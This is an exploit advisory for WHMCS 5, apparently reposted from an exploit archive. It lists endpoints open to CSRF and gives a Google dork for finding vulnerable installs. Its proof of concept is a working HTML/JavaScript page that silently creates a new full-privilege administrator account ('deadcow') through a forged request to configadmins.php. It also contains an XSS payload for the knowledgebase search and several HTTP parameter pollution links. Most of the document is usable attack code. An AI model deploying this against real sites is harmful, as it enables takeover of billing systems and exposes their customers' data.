WHMCS 5 Multiple CSRF (Add Admin) / XSS Vulnerability

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# Title: WHMCS 5 Multiple CSRF (Add Admin) and XSS Vulnerability
# Version: Latest version 5.1 and other previous version maybe vulnerable
# Vendor: www.whmcs.com
# Date: 2012-05-30
# Tested on: win/linux
# Author/Found by: Shadman Tanjim
# Email: shadman2600@gmail.com
# Greetz: Sayem Islam, Shahee Mirza, JingoBD, ManInDark, Rohit And All Crew and Members of Bangladesh Cyber Army.
# Special Thanks: x8631p
# Google Dork: "Powered by WHMCompleteSolution"  or  inurl:WHMCS
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CSRF Vulnerability:

Get:
http://site.com/clientarea.php
http://site.com/admin/index.php
http://site.com/admin/login.php

Post:
http://site.com/admin/login.php
http://site.com/cart.php
http://site.com/admin/configadmins.php
http://site.com/pwreset.php

p0c:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<h2>WHMCS CSRF ExpL0iT PoC</h2>
</head>
<script  language="javascript" type="text/javascript" >

function lifeissimple() {

var token = "Token Value";

var img = document.createElement("img");
var site="http://www.localhost.com:80";
var requesturl = site + "/billing/admin/configadmins.php?action=save&id=&token=" + token + "&roleid=1&firstname=dead&lastname=cow&email=deadcow@deadcow.com&username=deadcow&password=deadcow&password2=deadcow&deptids[]=4&deptids[]=1&signature=deadcow&notes=deadcow&template=blend&language=English";
img.setAttribute("src", requesturl);
document.body.appendChild(img);

var img2 = document.createElement("img");
img2.setAttribute("src", site+"/billing/admin/configadmins.php?added=true&");
document.body.appendChild(img);
}

</script>
<body onload="lifeissimple();">

</body>
</html>

Cross-site Scripting (XSS) Vulnerability:

request:POST http://site.com/knowledgebase.php?action=search HTTP/1.1
Content-Type: application/x-www-form-urlencoded

search='%20onerror%3D'f(PSRyh)

HTTP Parameter Pollution :

1.Affected link: http://site.com/cart.php?a=add&domain=transfer&n913620=v992636
Affected parameter: a=add

2. Affected link: http://site.com/domainchecker.php?search=bulkregister&n946774=v992350
Affected parameter: search=bulkregister

3. Affected link: http://site.com/cart.php?currency=2&gid=1&n972751=v976696
Affected parameter: currency=2

#  0day.today [2015-11-04]  #